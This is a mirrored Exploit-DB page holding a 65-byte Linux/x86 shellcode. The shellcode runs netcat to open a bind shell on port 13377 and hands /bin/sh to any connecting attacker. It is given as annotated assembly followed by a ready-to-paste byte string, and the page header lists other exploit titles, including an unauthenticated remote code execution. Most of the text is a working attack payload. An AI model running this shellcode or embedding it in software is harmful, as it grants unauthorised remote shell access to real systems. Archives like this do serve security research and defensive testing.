mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-10 14:01:27 -10:00
Offensive Security
91f4f8025d
4 changes to exploits/shellcodes Gila CMS 2.0.0 - Remote Code Execution (Unauthenticated) Cemetry Mapping and Information System 1.0 - Multiple SQL Injections SmartAgent 3.1.0 - Privilege Escalation Linux/x86 - bind shell on port 13377 Shellcode (65 bytes)
35 lines
1.6 KiB
Plaintext
35 lines
1.6 KiB
Plaintext
# Exploit Title: Linux/x86 - bind shell on port 13377 Shellcode (65 bytes)
|
|
# Date: Jan 12, 2021
|
|
# Exploit Author: ac3
|
|
# Version: Linux x86
|
|
# Tested on: Linux x86
|
|
|
|
## linux x86 nc -lvve/bin/sh -p13377 shellcode
|
|
## This shellcode will listen on port 13377 using netcat and give /bin/sh to connecting attacker
|
|
|
|
# 31 c0 xor %eax,%eax
|
|
# 31 d2 xor %edx,%edx
|
|
# 50 push eax
|
|
# 68 33 33 37 37 push $0x37373333
|
|
# 68 2d 76 70 31 push $0x3170762d
|
|
# 89 e2 mov %esp,%edx
|
|
# 50 push %eax
|
|
# 68 6e 2f 73 68 push $0x68732f6e
|
|
# 68 65 2f 62 69 push $0x69622f65
|
|
# 68 2d 6c 76 76 push $0x76766c2d
|
|
# 89 e1 mov %esp,%ecx
|
|
# 50 push %eax
|
|
# 68 2f 2f 6e 63 push $0x636e2f2f
|
|
# 68 2f 2f 2f 2f push $0x2f2f2f2f
|
|
# 68 2f 62 69 6e push $0x6e69622f
|
|
# 89 e3 mov %esp,%ebx
|
|
# 50 push %eax
|
|
# 52 push %edx
|
|
# 51 push %ecx
|
|
# 53 push %ebx
|
|
# 31 d2 xor %edx,%edx
|
|
# 89 e1 mov %esp,%ecx
|
|
# b0 0b mov $0xb,%al
|
|
# cd 80 int $0x80
|
|
|
|
\x31\xc0\x31\xd2\x50\x68\x33\x33\x37\x37\x68\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1\xb0\x0b\xcd\x80 |